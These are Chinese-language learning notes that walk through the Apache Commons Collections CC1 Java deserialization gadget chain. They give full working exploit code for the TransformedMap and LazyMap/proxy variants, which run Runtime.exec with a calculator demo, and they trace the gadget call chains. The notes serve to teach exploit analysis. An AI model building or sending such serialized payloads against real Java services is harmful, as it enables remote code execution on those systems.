声明:本文为b站白日梦组长视频学习笔记,如有侵权,联系我速删
组长b站的传送门:https://space.bilibili.com/2142877265/?spm_id_from=333.999.0.0
Commons Collections 包为 Java 标准的 Collections API 提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。让使用者在开发应用程序的过程中,既保证了性能,同时也能大大简化了代码。
漏洞主要运用ChainedTransformer、ConstantTransformer、InvokerTransformer这三个类。这三个类都是实现了Transformer接口的类,该接口包含了一个transform方法,以使每个实现了该接口的类可以进行固定类型的转化。
1 2 3 4 package org.apache.commons.collections;public interface Transformer { public Object transform (Object input) ; }
ConstantTransformer类的transform方法
该类中的transform方法:接受一个对象返回一个常量,无论接收什么对象都返回 iConstant。
1 2 3 4 5 6 7 8 9 10 11 12 13 public class ConstantTransformer implements Transformer , Serializable { public static final Transformer NULL_INSTANCE = new ConstantTransformer (null ); private final Object iConstant; public ConstantTransformer (Object constantToReturn) { super (); iConstant = constantToReturn; } public Object transform (Object input) { return iConstant; } }
InvokerTransformer类中的transform方法
该类中的transform方法:接收一个对象,通过Java的反射机制获取该对象的运行时类和方法,并进行反射调用。其中方法值、参数等均是可控的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 public class InvokerTransformer implements Transformer , Serializable { public InvokerTransformer (String methodName, Class[] paramTypes, Object[] args) { super (); iMethodName = methodName; iParamTypes = paramTypes; iArgs = args; } public Object transform (Object input) { if (input == null ) { return null ; } try { Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs); } catch (NoSuchMethodException ex) {} } }
ChainedTransformer类中的transform方法 该类 中的transform方法:当传入的是一个数组时候,开始循环读取,对每个参数都会调用transform方法,并将前一个对象的transform方法的返回值,当作下一个对象的transfrom方法的参数值进行调用。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public class ChainedTransformer implements Transformer , Serializable { public ChainedTransformer (Transformer[] transformers) { super (); iTransformers = transformers; } public Object transform (Object object) { for (int i = 0 ; i < iTransformers.length; i++) { object = iTransformers[i].transform(object); } return object; } }
使用InvokerTransformer执行命令
1 2 Runtime r = Runtime.getRuntime();new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }).transform(r);
弹出计算器
二、挖掘CC1链的过程 根据流程图,我们从后向前找,已经找到了危险方法transform,现在应该找一个调用了transform的类
我们这里尝试使用TransformedMap
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public static Map decorate (Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap (map, keyTransformer, valueTransformer); } protected TransformedMap (Map map, Transformer keyTransformer, Transformer valueTransformer) { super (map); this .keyTransformer = keyTransformer; this .valueTransformer = valueTransformer; } protected Object checkSetValue (Object value) { return valueTransformer.transform(value); }
checkSetValue是protected的,TransformedMap.decorate(map, null, invokerTransformer);返回是Map类型的,不可以直接调用,我们需要找一个能调用checkSetValue方法的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 public Set entrySet () { if (isSetValueChecking()) { return new EntrySet (map.entrySet(), this ); } else { return map.entrySet(); } } static class MapEntry extends AbstractMapEntryDecorator { private final AbstractInputCheckedMapDecorator parent; protected MapEntry (Map.Entry entry, AbstractInputCheckedMapDecorator parent) { super (entry); this .parent = parent; } public Object setValue (Object value) { value = parent.checkSetValue(value); return entry.setValue(value); } }
其实这里的MapEntry就是TransformedMap中存的一个键值对,类似于如下
1 2 3 4 5 map.put("key" ,"value" ); for (Map.Entry entry:map.entrySet()){ entry.setValue("newValue" ); System.out.println(entry); }
MapEntry中的setValue就是对Map中的重写,所以说,在遍历TransformedMap时就可以调用setValue
其实我们发现TransformedMap是没有entrySet方法的,所以调用的是它的父类AbstractInputCheckedMapDecorator类的entrySet方法。
this指代的就是调用entrySet方法的对象transformedMap
this在构造器中使用,默认指代当前new的对象
在成员方法中的this,默认指代调用成员方法的对象
this不能使用在static方法中
1 2 3 4 5 6 7 8 9 10 Runtime r = Runtime.getRuntime();InvokerTransformer invokerTransformer = new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" });HashMap<Object, Object> map = new HashMap <>(); Map<Object,Object> transformedMap = TransformedMap.decorate(map, null , invokerTransformer); map.put("key" ,"value" ); for (Map.Entry entry:transformedMap.entrySet()){ entry.setValue(r); }
下一步要找到是调用setValue的类,最好是readObject直接调用setValue
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 private void readObject (java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); AnnotationType annotationType = null ; try { annotationType = AnnotationType.getInstance(type); } catch (IllegalArgumentException e) { throw new java .io.InvalidObjectException("Non-annotation type in annotation serial stream" ); } Map<String, Class<?>> memberTypes = annotationType.memberTypes(); for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name); if (memberType != null ) { Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { memberValue.setValue( new AnnotationTypeMismatchExceptionProxy ( value.getClass() + "[" + value + "]" ).setMember( annotationType.members().get(name))); } } } }
我们注意这个类不是public的,需要用反射来访问创建实例
1 2 3 4 Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" );Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);constructor.setAccessible(true ); Object o = constructor.newInstance(Override.class, transformedMap);
目前面临的问题: 1.我们需要给setValue传递一个对象r,但是现在好像无法控制
2.Runtime类是不能序列化的,我们需要使用反射创建Runtime的对象
3.要想执行setValue,还需要满足两个if条件
解决问题 1 2 3 4 5 6 7 8 Class c = Runtime.class;Method getRuntime = c.getMethod("getRuntime" , null );Runtime r = (Runtime) getRuntime.invoke(null , null );Method exec = c.getMethod("exec" , String.class);exec.invoke(r,"calc" );
1 2 3 4 5 6 Method getRuntime = (Method) new InvokerTransformer ("getMethod" ,new Class []{String.class,Class[].class},new Object []{"getRuntime" ,null }).transform(Runtime.class);Runtime r = (Runtime) new InvokerTransformer ("invoke" ,new Class []{Object.class,Object[].class},new Object []{null ,null }).transform(getRuntime);new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }).transform(r);
1 2 3 4 5 6 7 8 9 Transformer[] transformers = new Transformer []{ new InvokerTransformer ("getMethod" ,new Class []{String.class,Class[].class},new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" ,new Class []{Object.class,Object[].class},new Object []{null ,null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers);chainedTransformer.transform(Runtime.class);
第一个if的条件是memberType不等于空,追踪一下memberType
首先,type就是我们在构造方法中传递的Override.class,然后调用getInstance获取一个Override实例annotationType,调用其memberTypes方法,返回此注解类型的成员类型(成员名称 -> 类型映射)meberTypes, 然后在其中查找成员名称为name的成员类型。(name为我们传递的map中的key)
因为Override成员类型为空,所以不能进入第一个if
由此可知,我们需要找一个有成员类型的注解,并将map中的key设置为其成员名称即可
进入第一个if
instanceof 是 Java 中的一个双目运算符,由于它是由字母组成的,所以也是 Java 的保留关键字。在 Java 中可以使用 instanceof 关键字判断一个对象是否为一个类(或接口、抽象类、父类)的实例,语法格式如下.
boolean result = obj instanceof Class
obj 是一个对象,Class 表示一个类或接口。obj 是 class 类(或接口)的实例或者子类实例时,结果 result 返回 true,否则返回 false。
isInstance()方法用于检查指定的对象是否兼容分配给该Class的实例。如果指定对象为非null,并且可以强制转换为此类的实例,则该方法返回true。否则返回false。
只要value不能强转为Class类型,就可以进入
我们需要给setValue传递Runtime.Class,最后才能触发到transform(Runtime.Class),但是我们发现这个参数好像不太好控制的
这时,我们可能要请一个大牛登场了
ConstantTransformer在调用transform时,无论传递什么参数,都会返回固定值iConstant
1 2 3 4 5 6 Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" ,new Class []{String.class,Class[].class},new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" ,new Class []{Object.class,Object[].class},new Object []{null ,null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) };
三、梳理整个CC1链 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 Gadget chain: ObjectInputStream.readObject() AnnotationInvocationHandler.readObject() AbstractInputCheckedMapDecorator.MapEntry.setValue() TransformedMap.checkSetValue() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" ,new Class []{String.class,Class[].class},new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" ,new Class []{Object.class,Object[].class},new Object []{null ,null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers);HashMap<Object, Object> map = new HashMap <>(); map.put("value" ,"v" ); Map<Object,Object> transformedMap = TransformedMap.decorate(map, null , chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" );Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);constructor.setAccessible(true ); Object o = constructor.newInstance(Target.class, transformedMap);serialize(o); unserialize("ser.bin" );
四、LazyMap版本
之前我们用的TransformedMap的checkSetValue方法,这次用LazyMap的get方法
1 2 3 4 5 6 7 8 9 10 11 protected final Transformer factory;public Object get (Object key) { if (map.containsKey(key) == false ) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); }
按照这条链作者的思路,我们使用AnnotationInvocationHandler类中的invoke方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 private final Map<String, Object> memberValues;public Object invoke (Object proxy, Method method, Object[] args) { String member = method.getName(); Class<?>[] paramTypes = method.getParameterTypes(); if (member.equals("equals" ) && paramTypes.length == 1 && paramTypes[0 ] == Object.class) return equalsImpl(args[0 ]); if (paramTypes.length != 0 ) throw new AssertionError ("Too many parameters for an annotation method" ); switch (member) { case "toString" : return toStringImpl(); case "hashCode" : return hashCodeImpl(); case "annotationType" : return type; } Object result = memberValues.get(member); }
那这样我们生成一个动态代理,传递AnnotationInvocationHandler,当该动态代理对象调用任意方法时(满足if条件)就可以触发invoke。【除equals、toString、hashCode、annotationType外,且一定是无参方法】
1 2 3 4 5 6 7 8 9 10 11 HashMap<Object, Object> map = new HashMap <>(); Map<Object,Object> lazyMap = LazyMap.decorate(map, chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" );Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true );InvocationHandler h = (InvocationHandler) constructor.newInstance(Override.class, lazyMap); Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class []{Map.class}, h);mapProxy.entrySet();
可以调用成功,我们接下来要做的是找一个readObject,可以接受一个对象O,并且O调用一个无参方法
我们还看一下AnnotationInvocationHandler类,真是巧了
1 2 3 4 AnnotationInvocationHandler(Class<? extends Annotation > type, Map<String, Object> memberValues) { this .type = type; this .memberValues = memberValues; }
最终代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" ,new Class []{String.class,Class[].class},new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" ,new Class []{Object.class,Object[].class},new Object []{null ,null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers);HashMap<Object, Object> map = new HashMap <>(); Map<Object,Object> lazyMap = LazyMap.decorate(map, chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" );Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);constructor.setAccessible(true ); InvocationHandler h = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class []{Map.class}, h);Object o = constructor.newInstance(Override.class, mapProxy);serialize(o); unserialize("ser.bin" );
调用链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 Gadget chain: ObjectInputStream.readObject() AnnotationInvocationHandler.readObject() Map(Proxy).entrySet() AnnotationInvocationHandler.invoke() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec() Requires: commons-collections